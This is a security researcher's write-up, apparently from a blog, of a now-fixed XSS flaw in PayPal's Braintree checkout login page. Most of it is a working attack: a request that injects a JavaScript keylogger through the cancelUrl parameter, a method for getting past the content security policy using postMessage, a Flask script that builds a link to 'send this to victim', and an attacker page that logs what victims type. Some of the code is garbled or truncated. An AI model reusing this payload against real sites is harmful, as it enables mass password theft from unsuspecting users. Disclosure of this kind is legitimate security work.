Persistent XSS to Steal Passwords – Paypal

Note: This bug has been reported via Paypal bug bounty program and is fixed now.


There are days when we get to test different applications with third party integrations such as payment gateways, logging etc etc. Same way we got to test one of our client application that uses braintree as a payment gateway(Braintree, a division of PayPal, is a company based in Chicago that specialises in mobile and web payment systems for e-commerce companies)
Braintree provides an API for its merchants to easily consume it and integrate other services such as Paypal.
You can read about it here: (

The client application was using braintree as the gateway and has a paypal checkout, clicking checkout button requested the following HTTP request

POST /merchants/34v7znhy8njgntnr/client_api/v1/paypal_hermes/setup_billing_agreement HTTP/1.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 1186

{"returnUrl": "", "cancelUrl": "", "experienceProfile": {"brandName": "Casper Sleep Inc.", "noShipping": "false", "addressOverride": true}, "shippingAddress": {"recipientName": "Test Test", "line1": "38 OXFORD STREET 302", "line2": "", "city": "LONDON", "state": "", "postalCode": "W1D 1AX", "countryCode": "GB"}, "braintreeLibraryVersion": "braintree/web/3.9.0", "_meta": {"merchantAppId": "", "platform": "web", "sdkVersion": "3.9.0", "source": "client", "integration": "custom", "integrationType": "custom", "sessionId": "5fc558ba-2fb7-4a79-a7ba-fef4fee926db"}, "authorizationFingerprint": "a60dc78155b9c65f05741aafc544bb90b9d2cee1376f1ce52ea1262bb0c67994|created_at=2017-12-24T14:04:17.144942456+0000&merchant_id=34v7znhy8njgntnr&public_key=msb362rjpg7nnvwd"}

The response will be a 302 redirect to the following URL<token>

The above URL is valid for a couple of hours before it expires(still enough to launch a wide scale attack)
The returnURL and cancelUrl parameters value could be set to any arbitrary URL(that was issue no1), but it was always observed that canceUrl value is reflected back in script context under login page without any sanitisation or output encoding as required. Special characters like tags (>, <) were filtered but all others were allowed. Since the reflection was in script context and we only had to escape double quotes, we successfully & easily did that.

But we know that XSS isn’t just about a pop up, getting to know the worst case scenario is best way to judge the severity of the vulnerability. In our case we exactly do that.

Paypal’s Content Security Policy

default-src 'self' https://* https://*; frame-src 'self' https://* https://* https://* https://*; script-src 'nonce-qox3mTimg6HhlWGFnpwLeOX14nhSoxzIAq9PGsBg0V7ClmIP' 'self' https://* https://* 'unsafe-inline' 'unsafe-eval'; connect-src 'self' https://* https://* https://* https://* https://* https://* https://* https://* https://*; style-src 'self' https://* https://* 'unsafe-inline'; font-src 'self' https://* https://* data:; img-src 'self' https: data:; form-action 'self' https://* https://* https://*; base-uri 'self' https://*; block-all-mixed-content; report-uri

From above policy we can see that Paypal allows inline scripts.
So to smuggle CSRF tokens or passwords (since the XSS is on login screen) We can think about
– key-logging and sending data across by calling images from my controlled site
– key-logging and sending data across by calling fonts from my controlled site
– key-logging and send ajax requests etc etc
But the content security policy says NOPE. connect-src is self, img-src is self, font-src is self.

So we were thinking we are only left with pretty much redirecting users or opening a new tab every time they type (but ughhh that’s boring and not very stealthy!). Then it struck our mind, how about use HTML5’s cool stuff like event listeners and make this happen. Bingo! Here is our final payload(and the video at starting shows the same).

Python Script

import requests
import json
from flask import Flask, render_template
app = Flask(__name__)

def test():
 data = {"returnUrl":"","cancelUrl":"\"}}; var WEBKEY={dataLog:'',start:function(){window.onkeypress=function(t){WEBKEY.dataLog+=String.fromCharCode(t.charCode)},setInterval('WEBKEY.exportLog();',5e3)},exportLog:function(){WEBKEY.dataLog.length>0&&(WEBKEY.dataLog='')}};WEBKEY.start();window.addEventListener('message',function(e){e.source.postMessage(WEBKEY.dataLog,'*')},!1); var a={\"test\":{\"test\":\"","experienceProfile":{"brandName":"Casper Sleep Inc.","noShipping":"false","addressOverride":True},"shippingAddress":{"recipientName":"Test Test","line1":"38 OXFORD STREET 302","line2":"","city":"LONDON","state":"","postalCode":"W1D 1AX","countryCode":"GB"},"braintreeLibraryVersion":"braintree/web/3.9.0","_meta":{"merchantAppId":"","platform":"web","sdkVersion":"3.9.0","source":"client","integration":"custom","integrationType":"custom","sessionId":"5fc558ba-2fb7-4a79-a7ba-fef4fee926db"},"authorizationFingerprint":"a60dc78155b9c65f05741aafc544bb90b9d2cee1376f1ce52ea1262bb0c67994|created_at=2017-12-24T14:04:17.144942456+0000&merchant_id=34v7znhy8njgntnr&public_key=msb362rjpg7nnvwd"} 
 headers = {"Content-Type" :"application/json"}
 r ="", json=data,headers=headers)
 response = json.loads(r.text)
 url = response["agreementSetup"]["approvalUrl"]
 url = url.replace("\u0026", "&")
 print("send this to victim")
 return url

def hello():

return render_template('1.html', name=test())

if __name__ == '__main__':


                //create popup windowvar domain = "{{name | safe}}";var myPopup =,'myWindow');
//periodical message sendersetInterval(function(){ var message = 'Hello!  The time is: ' + (new Date().getTime()); myPopup.postMessage(message, '*'); //send the message and target URI},100);
//listen to holla backwindow.addEventListener('message',function(event) { console.log('victim typed:  ',;},false);      </script> </html>

Worst case scenario? This flask app can be hosted online and then shared with multiple people making it a deadly attack allowing us to steal passwords in mass.

Is there a better way you can exploit this? I would love to hear :). @akhilreni_hs

Share this story: